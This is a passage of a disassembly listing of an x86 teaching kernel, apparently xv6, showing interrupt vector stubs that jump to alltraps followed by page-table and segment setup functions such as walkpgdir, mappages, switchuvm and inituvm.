801064b6: e9 7f f4 ff ff jmp 8010593a <alltraps>
801064bb <vector175>:
801064bb: 6a 00 push $0x0
801064bd: 68 af 00 00 00 push $0xaf
801064c2: e9 73 f4 ff ff jmp 8010593a <alltraps>
801064c7 <vector176>:
801064c7: 6a 00 push $0x0
801064c9: 68 b0 00 00 00 push $0xb0
801064ce: e9 67 f4 ff ff jmp 8010593a <alltraps>
801064d3 <vector177>:
801064d3: 6a 00 push $0x0
801064d5: 68 b1 00 00 00 push $0xb1
801064da: e9 5b f4 ff ff jmp 8010593a <alltraps>
801064df <vector178>:
801064df: 6a 00 push $0x0
801064e1: 68 b2 00 00 00 push $0xb2
801064e6: e9 4f f4 ff ff jmp 8010593a <alltraps>
801064eb <vector179>:
801064eb: 6a 00 push $0x0
801064ed: 68 b3 00 00 00 push $0xb3
801064f2: e9 43 f4 ff ff jmp 8010593a <alltraps>
801064f7 <vector180>:
801064f7: 6a 00 push $0x0
801064f9: 68 b4 00 00 00 push $0xb4
801064fe: e9 37 f4 ff ff jmp 8010593a <alltraps>
80106503 <vector181>:
80106503: 6a 00 push $0x0
80106505: 68 b5 00 00 00 push $0xb5
8010650a: e9 2b f4 ff ff jmp 8010593a <alltraps>
8010650f <vector182>:
8010650f: 6a 00 push $0x0
80106511: 68 b6 00 00 00 push $0xb6
80106516: e9 1f f4 ff ff jmp 8010593a <alltraps>
8010651b <vector183>:
8010651b: 6a 00 push $0x0
8010651d: 68 b7 00 00 00 push $0xb7
80106522: e9 13 f4 ff ff jmp 8010593a <alltraps>
80106527 <vector184>:
80106527: 6a 00 push $0x0
80106529: 68 b8 00 00 00 push $0xb8
8010652e: e9 07 f4 ff ff jmp 8010593a <alltraps>
80106533 <vector185>:
80106533: 6a 00 push $0x0
80106535: 68 b9 00 00 00 push $0xb9
8010653a: e9 fb f3 ff ff jmp 8010593a <alltraps>
8010653f <vector186>:
8010653f: 6a 00 push $0x0
80106541: 68 ba 00 00 00 push $0xba
80106546: e9 ef f3 ff ff jmp 8010593a <alltraps>
8010654b <vector187>:
8010654b: 6a 00 push $0x0
8010654d: 68 bb 00 00 00 push $0xbb
80106552: e9 e3 f3 ff ff jmp 8010593a <alltraps>
80106557 <vector188>:
80106557: 6a 00 push $0x0
80106559: 68 bc 00 00 00 push $0xbc
8010655e: e9 d7 f3 ff ff jmp 8010593a <alltraps>
80106563 <vector189>:
80106563: 6a 00 push $0x0
80106565: 68 bd 00 00 00 push $0xbd
8010656a: e9 cb f3 ff ff jmp 8010593a <alltraps>
8010656f <vector190>:
8010656f: 6a 00 push $0x0
80106571: 68 be 00 00 00 push $0xbe
80106576: e9 bf f3 ff ff jmp 8010593a <alltraps>
8010657b <vector191>:
8010657b: 6a 00 push $0x0
8010657d: 68 bf 00 00 00 push $0xbf
80106582: e9 b3 f3 ff ff jmp 8010593a <alltraps>
80106587 <vector192>:
80106587: 6a 00 push $0x0
80106589: 68 c0 00 00 00 push $0xc0
8010658e: e9 a7 f3 ff ff jmp 8010593a <alltraps>
80106593 <vector193>:
80106593: 6a 00 push $0x0
80106595: 68 c1 00 00 00 push $0xc1
8010659a: e9 9b f3 ff ff jmp 8010593a <alltraps>
8010659f <vector194>:
8010659f: 6a 00 push $0x0
801065a1: 68 c2 00 00 00 push $0xc2
801065a6: e9 8f f3 ff ff jmp 8010593a <alltraps>
801065ab <vector195>:
801065ab: 6a 00 push $0x0
801065ad: 68 c3 00 00 00 push $0xc3
801065b2: e9 83 f3 ff ff jmp 8010593a <alltraps>
801065b7 <vector196>:
801065b7: 6a 00 push $0x0
801065b9: 68 c4 00 00 00 push $0xc4
801065be: e9 77 f3 ff ff jmp 8010593a <alltraps>
801065c3 <vector197>:
801065c3: 6a 00 push $0x0
801065c5: 68 c5 00 00 00 push $0xc5
801065ca: e9 6b f3 ff ff jmp 8010593a <alltraps>
801065cf <vector198>:
801065cf: 6a 00 push $0x0
801065d1: 68 c6 00 00 00 push $0xc6
801065d6: e9 5f f3 ff ff jmp 8010593a <alltraps>
801065db <vector199>:
801065db: 6a 00 push $0x0
801065dd: 68 c7 00 00 00 push $0xc7
801065e2: e9 53 f3 ff ff jmp 8010593a <alltraps>
801065e7 <vector200>:
801065e7: 6a 00 push $0x0
801065e9: 68 c8 00 00 00 push $0xc8
801065ee: e9 47 f3 ff ff jmp 8010593a <alltraps>
801065f3 <vector201>:
801065f3: 6a 00 push $0x0
801065f5: 68 c9 00 00 00 push $0xc9
801065fa: e9 3b f3 ff ff jmp 8010593a <alltraps>
801065ff <vector202>:
801065ff: 6a 00 push $0x0
80106601: 68 ca 00 00 00 push $0xca
80106606: e9 2f f3 ff ff jmp 8010593a <alltraps>
8010660b <vector203>:
8010660b: 6a 00 push $0x0
8010660d: 68 cb 00 00 00 push $0xcb
80106612: e9 23 f3 ff ff jmp 8010593a <alltraps>
80106617 <vector204>:
80106617: 6a 00 push $0x0
80106619: 68 cc 00 00 00 push $0xcc
8010661e: e9 17 f3 ff ff jmp 8010593a <alltraps>
80106623 <vector205>:
80106623: 6a 00 push $0x0
80106625: 68 cd 00 00 00 push $0xcd
8010662a: e9 0b f3 ff ff jmp 8010593a <alltraps>
8010662f <vector206>:
8010662f: 6a 00 push $0x0
80106631: 68 ce 00 00 00 push $0xce
80106636: e9 ff f2 ff ff jmp 8010593a <alltraps>
8010663b <vector207>:
8010663b: 6a 00 push $0x0
8010663d: 68 cf 00 00 00 push $0xcf
80106642: e9 f3 f2 ff ff jmp 8010593a <alltraps>
80106647 <vector208>:
80106647: 6a 00 push $0x0
80106649: 68 d0 00 00 00 push $0xd0
8010664e: e9 e7 f2 ff ff jmp 8010593a <alltraps>
80106653 <vector209>:
80106653: 6a 00 push $0x0
80106655: 68 d1 00 00 00 push $0xd1
8010665a: e9 db f2 ff ff jmp 8010593a <alltraps>
8010665f <vector210>:
8010665f: 6a 00 push $0x0
80106661: 68 d2 00 00 00 push $0xd2
80106666: e9 cf f2 ff ff jmp 8010593a <alltraps>
8010666b <vector211>:
8010666b: 6a 00 push $0x0
8010666d: 68 d3 00 00 00 push $0xd3
80106672: e9 c3 f2 ff ff jmp 8010593a <alltraps>
80106677 <vector212>:
80106677: 6a 00 push $0x0
80106679: 68 d4 00 00 00 push $0xd4
8010667e: e9 b7 f2 ff ff jmp 8010593a <alltraps>
80106683 <vector213>:
80106683: 6a 00 push $0x0
80106685: 68 d5 00 00 00 push $0xd5
8010668a: e9 ab f2 ff ff jmp 8010593a <alltraps>
8010668f <vector214>:
8010668f: 6a 00 push $0x0
80106691: 68 d6 00 00 00 push $0xd6
80106696: e9 9f f2 ff ff jmp 8010593a <alltraps>
8010669b <vector215>:
8010669b: 6a 00 push $0x0
8010669d: 68 d7 00 00 00 push $0xd7
801066a2: e9 93 f2 ff ff jmp 8010593a <alltraps>
801066a7 <vector216>:
801066a7: 6a 00 push $0x0
801066a9: 68 d8 00 00 00 push $0xd8
801066ae: e9 87 f2 ff ff jmp 8010593a <alltraps>
801066b3 <vector217>:
801066b3: 6a 00 push $0x0
801066b5: 68 d9 00 00 00 push $0xd9
801066ba: e9 7b f2 ff ff jmp 8010593a <alltraps>
801066bf <vector218>:
801066bf: 6a 00 push $0x0
801066c1: 68 da 00 00 00 push $0xda
801066c6: e9 6f f2 ff ff jmp 8010593a <alltraps>
801066cb <vector219>:
801066cb: 6a 00 push $0x0
801066cd: 68 db 00 00 00 push $0xdb
801066d2: e9 63 f2 ff ff jmp 8010593a <alltraps>
801066d7 <vector220>:
801066d7: 6a 00 push $0x0
801066d9: 68 dc 00 00 00 push $0xdc
801066de: e9 57 f2 ff ff jmp 8010593a <alltraps>
801066e3 <vector221>:
801066e3: 6a 00 push $0x0
801066e5: 68 dd 00 00 00 push $0xdd
801066ea: e9 4b f2 ff ff jmp 8010593a <alltraps>
801066ef <vector222>:
801066ef: 6a 00 push $0x0
801066f1: 68 de 00 00 00 push $0xde
801066f6: e9 3f f2 ff ff jmp 8010593a <alltraps>
801066fb <vector223>:
801066fb: 6a 00 push $0x0
801066fd: 68 df 00 00 00 push $0xdf
80106702: e9 33 f2 ff ff jmp 8010593a <alltraps>
80106707 <vector224>:
80106707: 6a 00 push $0x0
80106709: 68 e0 00 00 00 push $0xe0
8010670e: e9 27 f2 ff ff jmp 8010593a <alltraps>
80106713 <vector225>:
80106713: 6a 00 push $0x0
80106715: 68 e1 00 00 00 push $0xe1
8010671a: e9 1b f2 ff ff jmp 8010593a <alltraps>
8010671f <vector226>:
8010671f: 6a 00 push $0x0
80106721: 68 e2 00 00 00 push $0xe2
80106726: e9 0f f2 ff ff jmp 8010593a <alltraps>
8010672b <vector227>:
8010672b: 6a 00 push $0x0
8010672d: 68 e3 00 00 00 push $0xe3
80106732: e9 03 f2 ff ff jmp 8010593a <alltraps>
80106737 <vector228>:
80106737: 6a 00 push $0x0
80106739: 68 e4 00 00 00 push $0xe4
8010673e: e9 f7 f1 ff ff jmp 8010593a <alltraps>
80106743 <vector229>:
80106743: 6a 00 push $0x0
80106745: 68 e5 00 00 00 push $0xe5
8010674a: e9 eb f1 ff ff jmp 8010593a <alltraps>
8010674f <vector230>:
8010674f: 6a 00 push $0x0
80106751: 68 e6 00 00 00 push $0xe6
80106756: e9 df f1 ff ff jmp 8010593a <alltraps>
8010675b <vector231>:
8010675b: 6a 00 push $0x0
8010675d: 68 e7 00 00 00 push $0xe7
80106762: e9 d3 f1 ff ff jmp 8010593a <alltraps>
80106767 <vector232>:
80106767: 6a 00 push $0x0
80106769: 68 e8 00 00 00 push $0xe8
8010676e: e9 c7 f1 ff ff jmp 8010593a <alltraps>
80106773 <vector233>:
80106773: 6a 00 push $0x0
80106775: 68 e9 00 00 00 push $0xe9
8010677a: e9 bb f1 ff ff jmp 8010593a <alltraps>
8010677f <vector234>:
8010677f: 6a 00 push $0x0
80106781: 68 ea 00 00 00 push $0xea
80106786: e9 af f1 ff ff jmp 8010593a <alltraps>
8010678b <vector235>:
8010678b: 6a 00 push $0x0
8010678d: 68 eb 00 00 00 push $0xeb
80106792: e9 a3 f1 ff ff jmp 8010593a <alltraps>
80106797 <vector236>:
80106797: 6a 00 push $0x0
80106799: 68 ec 00 00 00 push $0xec
8010679e: e9 97 f1 ff ff jmp 8010593a <alltraps>
801067a3 <vector237>:
801067a3: 6a 00 push $0x0
801067a5: 68 ed 00 00 00 push $0xed
801067aa: e9 8b f1 ff ff jmp 8010593a <alltraps>
801067af <vector238>:
801067af: 6a 00 push $0x0
801067b1: 68 ee 00 00 00 push $0xee
801067b6: e9 7f f1 ff ff jmp 8010593a <alltraps>
801067bb <vector239>:
801067bb: 6a 00 push $0x0
801067bd: 68 ef 00 00 00 push $0xef
801067c2: e9 73 f1 ff ff jmp 8010593a <alltraps>
801067c7 <vector240>:
801067c7: 6a 00 push $0x0
801067c9: 68 f0 00 00 00 push $0xf0
801067ce: e9 67 f1 ff ff jmp 8010593a <alltraps>
801067d3 <vector241>:
801067d3: 6a 00 push $0x0
801067d5: 68 f1 00 00 00 push $0xf1
801067da: e9 5b f1 ff ff jmp 8010593a <alltraps>
801067df <vector242>:
801067df: 6a 00 push $0x0
801067e1: 68 f2 00 00 00 push $0xf2
801067e6: e9 4f f1 ff ff jmp 8010593a <alltraps>
801067eb <vector243>:
801067eb: 6a 00 push $0x0
801067ed: 68 f3 00 00 00 push $0xf3
801067f2: e9 43 f1 ff ff jmp 8010593a <alltraps>
801067f7 <vector244>:
801067f7: 6a 00 push $0x0
801067f9: 68 f4 00 00 00 push $0xf4
801067fe: e9 37 f1 ff ff jmp 8010593a <alltraps>
80106803 <vector245>:
80106803: 6a 00 push $0x0
80106805: 68 f5 00 00 00 push $0xf5
8010680a: e9 2b f1 ff ff jmp 8010593a <alltraps>
8010680f <vector246>:
8010680f: 6a 00 push $0x0
80106811: 68 f6 00 00 00 push $0xf6
80106816: e9 1f f1 ff ff jmp 8010593a <alltraps>
8010681b <vector247>:
8010681b: 6a 00 push $0x0
8010681d: 68 f7 00 00 00 push $0xf7
80106822: e9 13 f1 ff ff jmp 8010593a <alltraps>
80106827 <vector248>:
80106827: 6a 00 push $0x0
80106829: 68 f8 00 00 00 push $0xf8
8010682e: e9 07 f1 ff ff jmp 8010593a <alltraps>
80106833 <vector249>:
80106833: 6a 00 push $0x0
80106835: 68 f9 00 00 00 push $0xf9
8010683a: e9 fb f0 ff ff jmp 8010593a <alltraps>
8010683f <vector250>:
8010683f: 6a 00 push $0x0
80106841: 68 fa 00 00 00 push $0xfa
80106846: e9 ef f0 ff ff jmp 8010593a <alltraps>
8010684b <vector251>:
8010684b: 6a 00 push $0x0
8010684d: 68 fb 00 00 00 push $0xfb
80106852: e9 e3 f0 ff ff jmp 8010593a <alltraps>
80106857 <vector252>:
80106857: 6a 00 push $0x0
80106859: 68 fc 00 00 00 push $0xfc
8010685e: e9 d7 f0 ff ff jmp 8010593a <alltraps>
80106863 <vector253>:
80106863: 6a 00 push $0x0
80106865: 68 fd 00 00 00 push $0xfd
8010686a: e9 cb f0 ff ff jmp 8010593a <alltraps>
8010686f <vector254>:
8010686f: 6a 00 push $0x0
80106871: 68 fe 00 00 00 push $0xfe
80106876: e9 bf f0 ff ff jmp 8010593a <alltraps>
8010687b <vector255>:
8010687b: 6a 00 push $0x0
8010687d: 68 ff 00 00 00 push $0xff
80106882: e9 b3 f0 ff ff jmp 8010593a <alltraps>
80106887: 66 90 xchg %ax,%ax
80106889: 66 90 xchg %ax,%ax
8010688b: 66 90 xchg %ax,%ax
8010688d: 66 90 xchg %ax,%ax
8010688f: 90 nop
80106890 <walkpgdir>:
80106890: 55 push %ebp
80106891: 89 e5 mov %esp,%ebp
80106893: 57 push %edi
80106894: 56 push %esi
80106895: 53 push %ebx
80106896: 89 d3 mov %edx,%ebx
80106898: 89 d7 mov %edx,%edi
8010689a: c1 eb 16 shr $0x16,%ebx
8010689d: 8d 34 98 lea (%eax,%ebx,4),%esi
801068a0: 83 ec 0c sub $0xc,%esp
801068a3: 8b 06 mov (%esi),%eax
801068a5: a8 01 test $0x1,%al
801068a7: 74 27 je 801068d0 <walkpgdir+0x40>
801068a9: 25 00 f0 ff ff and $0xfffff000,%eax
801068ae: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx
801068b4: c1 ef 0a shr $0xa,%edi
801068b7: 8d 65 f4 lea -0xc(%ebp),%esp
801068ba: 89 fa mov %edi,%edx
801068bc: 81 e2 fc 0f 00 00 and $0xffc,%edx
801068c2: 8d 04 13 lea (%ebx,%edx,1),%eax
801068c5: 5b pop %ebx
801068c6: 5e pop %esi
801068c7: 5f pop %edi
801068c8: 5d pop %ebp
801068c9: c3 ret
801068ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801068d0: 85 c9 test %ecx,%ecx
801068d2: 74 2c je 80106900 <walkpgdir+0x70>
801068d4: e8 f7 be ff ff call 801027d0 <kalloc>
801068d9: 85 c0 test %eax,%eax
801068db: 89 c3 mov %eax,%ebx
801068dd: 74 21 je 80106900 <walkpgdir+0x70>
801068df: 83 ec 04 sub $0x4,%esp
801068e2: 68 00 10 00 00 push $0x1000
801068e7: 6a 00 push $0x0
801068e9: 50 push %eax
801068ea: e8 71 de ff ff call 80104760 <memset>
801068ef: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801068f5: 83 c4 10 add $0x10,%esp
801068f8: 83 c8 07 or $0x7,%eax
801068fb: 89 06 mov %eax,(%esi)
801068fd: eb b5 jmp 801068b4 <walkpgdir+0x24>
801068ff: 90 nop
80106900: 8d 65 f4 lea -0xc(%ebp),%esp
80106903: 31 c0 xor %eax,%eax
80106905: 5b pop %ebx
80106906: 5e pop %esi
80106907: 5f pop %edi
80106908: 5d pop %ebp
80106909: c3 ret
8010690a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106910 <mappages>:
80106910: 55 push %ebp
80106911: 89 e5 mov %esp,%ebp
80106913: 57 push %edi
80106914: 56 push %esi
80106915: 53 push %ebx
80106916: 89 d3 mov %edx,%ebx
80106918: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
8010691e: 83 ec 1c sub $0x1c,%esp
80106921: 89 45 e4 mov %eax,-0x1c(%ebp)
80106924: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax
80106928: 8b 7d 08 mov 0x8(%ebp),%edi
8010692b: 25 00 f0 ff ff and $0xfffff000,%eax
80106930: 89 45 e0 mov %eax,-0x20(%ebp)
80106933: 8b 45 0c mov 0xc(%ebp),%eax
80106936: 29 df sub %ebx,%edi
80106938: 83 c8 01 or $0x1,%eax
8010693b: 89 45 dc mov %eax,-0x24(%ebp)
8010693e: eb 15 jmp 80106955 <mappages+0x45>
80106940: f6 00 01 testb $0x1,(%eax)
80106943: 75 45 jne 8010698a <mappages+0x7a>
80106945: 0b 75 dc or -0x24(%ebp),%esi
80106948: 3b 5d e0 cmp -0x20(%ebp),%ebx
8010694b: 89 30 mov %esi,(%eax)
8010694d: 74 31 je 80106980 <mappages+0x70>
8010694f: 81 c3 00 10 00 00 add $0x1000,%ebx
80106955: 8b 45 e4 mov -0x1c(%ebp),%eax
80106958: b9 01 00 00 00 mov $0x1,%ecx
8010695d: 89 da mov %ebx,%edx
8010695f: 8d 34 3b lea (%ebx,%edi,1),%esi
80106962: e8 29 ff ff ff call 80106890 <walkpgdir>
80106967: 85 c0 test %eax,%eax
80106969: 75 d5 jne 80106940 <mappages+0x30>
8010696b: 8d 65 f4 lea -0xc(%ebp),%esp
8010696e: b8 ff ff ff ff mov $0xffffffff,%eax
80106973: 5b pop %ebx
80106974: 5e pop %esi
80106975: 5f pop %edi
80106976: 5d pop %ebp
80106977: c3 ret
80106978: 90 nop
80106979: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106980: 8d 65 f4 lea -0xc(%ebp),%esp
80106983: 31 c0 xor %eax,%eax
80106985: 5b pop %ebx
80106986: 5e pop %esi
80106987: 5f pop %edi
80106988: 5d pop %ebp
80106989: c3 ret
8010698a: 83 ec 0c sub $0xc,%esp
8010698d: 68 88 7a 10 80 push $0x80107a88
80106992: e8 f9 99 ff ff call 80100390 <panic>
80106997: 89 f6 mov %esi,%esi
80106999: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801069a0 <deallocuvm.part.0>:
801069a0: 55 push %ebp
801069a1: 89 e5 mov %esp,%ebp
801069a3: 57 push %edi
801069a4: 56 push %esi
801069a5: 53 push %ebx
801069a6: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx
801069ac: 89 c7 mov %eax,%edi
801069ae: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
801069b4: 83 ec 1c sub $0x1c,%esp
801069b7: 89 4d e0 mov %ecx,-0x20(%ebp)
801069ba: 39 d3 cmp %edx,%ebx
801069bc: 73 66 jae 80106a24 <deallocuvm.part.0+0x84>
801069be: 89 d6 mov %edx,%esi
801069c0: eb 3d jmp 801069ff <deallocuvm.part.0+0x5f>
801069c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801069c8: 8b 10 mov (%eax),%edx
801069ca: f6 c2 01 test $0x1,%dl
801069cd: 74 26 je 801069f5 <deallocuvm.part.0+0x55>
801069cf: 81 e2 00 f0 ff ff and $0xfffff000,%edx
801069d5: 74 58 je 80106a2f <deallocuvm.part.0+0x8f>
801069d7: 83 ec 0c sub $0xc,%esp
801069da: 81 c2 00 00 00 80 add $0x80000000,%edx
801069e0: 89 45 e4 mov %eax,-0x1c(%ebp)
801069e3: 52 push %edx
801069e4: e8 37 bc ff ff call 80102620 <kfree>
801069e9: 8b 45 e4 mov -0x1c(%ebp),%eax
801069ec: 83 c4 10 add $0x10,%esp
801069ef: c7 00 00 00 00 00 movl $0x0,(%eax)
801069f5: 81 c3 00 10 00 00 add $0x1000,%ebx
801069fb: 39 f3 cmp %esi,%ebx
801069fd: 73 25 jae 80106a24 <deallocuvm.part.0+0x84>
801069ff: 31 c9 xor %ecx,%ecx
80106a01: 89 da mov %ebx,%edx
80106a03: 89 f8 mov %edi,%eax
80106a05: e8 86 fe ff ff call 80106890 <walkpgdir>
80106a0a: 85 c0 test %eax,%eax
80106a0c: 75 ba jne 801069c8 <deallocuvm.part.0+0x28>
80106a0e: 81 e3 00 00 c0 ff and $0xffc00000,%ebx
80106a14: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx
80106a1a: 81 c3 00 10 00 00 add $0x1000,%ebx
80106a20: 39 f3 cmp %esi,%ebx
80106a22: 72 db jb 801069ff <deallocuvm.part.0+0x5f>
80106a24: 8b 45 e0 mov -0x20(%ebp),%eax
80106a27: 8d 65 f4 lea -0xc(%ebp),%esp
80106a2a: 5b pop %ebx
80106a2b: 5e pop %esi
80106a2c: 5f pop %edi
80106a2d: 5d pop %ebp
80106a2e: c3 ret
80106a2f: 83 ec 0c sub $0xc,%esp
80106a32: 68 26 74 10 80 push $0x80107426
80106a37: e8 54 99 ff ff call 80100390 <panic>
80106a3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106a40 <seginit>:
80106a40: 55 push %ebp
80106a41: 89 e5 mov %esp,%ebp
80106a43: 83 ec 18 sub $0x18,%esp
80106a46: e8 85 d0 ff ff call 80103ad0 <cpuid>
80106a4b: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax
80106a51: ba 2f 00 00 00 mov $0x2f,%edx
80106a56: 66 89 55 f2 mov %dx,-0xe(%ebp)
80106a5a: c7 80 b8 2a 11 80 ff movl $0xffff,-0x7feed548(%eax)
80106a61: ff 00 00
80106a64: c7 80 bc 2a 11 80 00 movl $0xcf9a00,-0x7feed544(%eax)
80106a6b: 9a cf 00
80106a6e: c7 80 c0 2a 11 80 ff movl $0xffff,-0x7feed540(%eax)
80106a75: ff 00 00
80106a78: c7 80 c4 2a 11 80 00 movl $0xcf9200,-0x7feed53c(%eax)
80106a7f: 92 cf 00
80106a82: c7 80 c8 2a 11 80 ff movl $0xffff,-0x7feed538(%eax)
80106a89: ff 00 00
80106a8c: c7 80 cc 2a 11 80 00 movl $0xcffa00,-0x7feed534(%eax)
80106a93: fa cf 00
80106a96: c7 80 d0 2a 11 80 ff movl $0xffff,-0x7feed530(%eax)
80106a9d: ff 00 00
80106aa0: c7 80 d4 2a 11 80 00 movl $0xcff200,-0x7feed52c(%eax)
80106aa7: f2 cf 00
80106aaa: 05 b0 2a 11 80 add $0x80112ab0,%eax
80106aaf: 66 89 45 f4 mov %ax,-0xc(%ebp)
80106ab3: c1 e8 10 shr $0x10,%eax
80106ab6: 66 89 45 f6 mov %ax,-0xa(%ebp)
80106aba: 8d 45 f2 lea -0xe(%ebp),%eax
80106abd: 0f 01 10 lgdtl (%eax)
80106ac0: c9 leave
80106ac1: c3 ret
80106ac2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ac9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106ad0 <switchkvm>:
80106ad0: a1 64 57 11 80 mov 0x80115764,%eax
80106ad5: 55 push %ebp
80106ad6: 89 e5 mov %esp,%ebp
80106ad8: 05 00 00 00 80 add $0x80000000,%eax
80106add: 0f 22 d8 mov %eax,%cr3
80106ae0: 5d pop %ebp
80106ae1: c3 ret
80106ae2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106af0 <switchuvm>:
80106af0: 55 push %ebp
80106af1: 89 e5 mov %esp,%ebp
80106af3: 57 push %edi
80106af4: 56 push %esi
80106af5: 53 push %ebx
80106af6: 83 ec 1c sub $0x1c,%esp
80106af9: 8b 5d 08 mov 0x8(%ebp),%ebx
80106afc: 85 db test %ebx,%ebx
80106afe: 0f 84 cb 00 00 00 je 80106bcf <switchuvm+0xdf>
80106b04: 8b 43 08 mov 0x8(%ebx),%eax
80106b07: 85 c0 test %eax,%eax
80106b09: 0f 84 da 00 00 00 je 80106be9 <switchuvm+0xf9>
80106b0f: 8b 43 04 mov 0x4(%ebx),%eax
80106b12: 85 c0 test %eax,%eax
80106b14: 0f 84 c2 00 00 00 je 80106bdc <switchuvm+0xec>
80106b1a: e8 61 da ff ff call 80104580 <pushcli>
80106b1f: e8 2c cf ff ff call 80103a50 <mycpu>
80106b24: 89 c6 mov %eax,%esi
80106b26: e8 25 cf ff ff call 80103a50 <mycpu>
80106b2b: 89 c7 mov %eax,%edi
80106b2d: e8 1e cf ff ff call 80103a50 <mycpu>
80106b32: 89 45 e4 mov %eax,-0x1c(%ebp)
80106b35: 83 c7 08 add $0x8,%edi
80106b38: e8 13 cf ff ff call 80103a50 <mycpu>
80106b3d: 8b 4d e4 mov -0x1c(%ebp),%ecx
80106b40: 83 c0 08 add $0x8,%eax
80106b43: ba 67 00 00 00 mov $0x67,%edx
80106b48: c1 e8 18 shr $0x18,%eax
80106b4b: 66 89 96 98 00 00 00 mov %dx,0x98(%esi)
80106b52: 66 89 be 9a 00 00 00 mov %di,0x9a(%esi)
80106b59: 88 86 9f 00 00 00 mov %al,0x9f(%esi)
80106b5f: bf ff ff ff ff mov $0xffffffff,%edi
80106b64: 83 c1 08 add $0x8,%ecx
80106b67: c1 e9 10 shr $0x10,%ecx
80106b6a: 88 8e 9c 00 00 00 mov %cl,0x9c(%esi)
80106b70: b9 99 40 00 00 mov $0x4099,%ecx
80106b75: 66 89 8e 9d 00 00 00 mov %cx,0x9d(%esi)
80106b7c: be 10 00 00 00 mov $0x10,%esi
80106b81: e8 ca ce ff ff call 80103a50 <mycpu>
80106b86: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax)
80106b8d: e8 be ce ff ff call 80103a50 <mycpu>
80106b92: 66 89 70 10 mov %si,0x10(%eax)
80106b96: 8b 73 08 mov 0x8(%ebx),%esi
80106b99: e8 b2 ce ff ff call 80103a50 <mycpu>
80106b9e: 81 c6 00 10 00 00 add $0x1000,%esi
80106ba4: 89 70 0c mov %esi,0xc(%eax)
80106ba7: e8 a4 ce ff ff call 80103a50 <mycpu>
80106bac: 66 89 78 6e mov %di,0x6e(%eax)
80106bb0: b8 28 00 00 00 mov $0x28,%eax
80106bb5: 0f 00 d8 ltr %ax
80106bb8: 8b 43 04 mov 0x4(%ebx),%eax
80106bbb: 05 00 00 00 80 add $0x80000000,%eax
80106bc0: 0f 22 d8 mov %eax,%cr3
80106bc3: 8d 65 f4 lea -0xc(%ebp),%esp
80106bc6: 5b pop %ebx
80106bc7: 5e pop %esi
80106bc8: 5f pop %edi
80106bc9: 5d pop %ebp
80106bca: e9 f1 d9 ff ff jmp 801045c0 <popcli>
80106bcf: 83 ec 0c sub $0xc,%esp
80106bd2: 68 8e 7a 10 80 push $0x80107a8e
80106bd7: e8 b4 97 ff ff call 80100390 <panic>
80106bdc: 83 ec 0c sub $0xc,%esp
80106bdf: 68 b9 7a 10 80 push $0x80107ab9
80106be4: e8 a7 97 ff ff call 80100390 <panic>
80106be9: 83 ec 0c sub $0xc,%esp
80106bec: 68 a4 7a 10 80 push $0x80107aa4
80106bf1: e8 9a 97 ff ff call 80100390 <panic>
80106bf6: 8d 76 00 lea 0x0(%esi),%esi
80106bf9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106c00 <inituvm>:
80106c00: 55 push %ebp
80106c01: 89 e5 mov %esp,%ebp
80106c03: 57 push %edi
80106c04: 56 push %esi
80106c05: 53 push %ebx
80106c06: 83 ec 1c sub $0x1c,%esp
80106c09: 8b 75 10 mov 0x10(%ebp),%esi
80106c0c: 8b 45 08 mov 0x8(%ebp),%eax
80106c0f: 8b 7d 0c mov 0xc(%ebp),%edi
80106c12: 81 fe ff 0f 00 00 cmp $0xfff,%esi
80106c18: 89 45 e4 mov %eax,-0x1c(%ebp)
80106c1b: 77 49 ja 80106c66 <inituvm+0x66>
80106c1d: e8 ae bb ff ff call 801027d0 <kalloc>
80106c22: 83 ec 04 sub $0x4,%esp
80106c25: 89 c3 mov %eax,%ebx
80106c27: 68 00 10 00 00 push $0x1000
80106c2c: 6a 00 push $0x0
80106c2e: 50 push %eax
80106c2f: e8 2c db ff ff call 80104760 <memset>
80106c34: 58 pop %eax
80106c35: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106c3b: b9 00 10 00 00 mov $0x1000,%ecx
80106c40: 5a pop %edx
80106c41: 6a 06 push $0x6
80106c43: 50 push %eax
80106c44: 31 d2 xor %edx,%edx
80106c46: 8b 45 e4 mov -0x1c(%ebp),%eax
80106c49: e8 c2 fc ff ff call 80106910 <mappages>
80106c4e: 89 75 10 mov %esi,0x10(%ebp)
80106c51: 89 7d 0c mov %edi,0xc(%ebp)
80106c54: 83 c4 10 add $0x10,%esp
80106c57: 89 5d 08 mov %ebx,0x8(%ebp)
80106c5a: 8d 65 f4 lea -0xc(%ebp),%esp
80106c5d: 5b pop %ebx
80106c5e: 5e pop %esi
80106c5f: 5f pop %edi
80106c60: 5d pop %ebp
80106c61: e9 aa db ff ff jmp 80104810 <memmove>
80106c66: 83 ec 0c sub $0xc,%esp
80106c69: 68 cd 7a 10 80 push $0x80107acd
80106c6e: e8 1d 97 ff ff call 80100390 <panic>
80106c73: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106c79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106c80 <loaduvm>:
80106c80: 55 push %ebp
80106c81: 89 e5 mov %esp,%ebp
80106c83: 57 push %edi
80106c84: 56 push %esi
80106c85: 53 push %ebx
80106c86: 83 ec 0c sub $0xc,%esp
80106c89: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp)
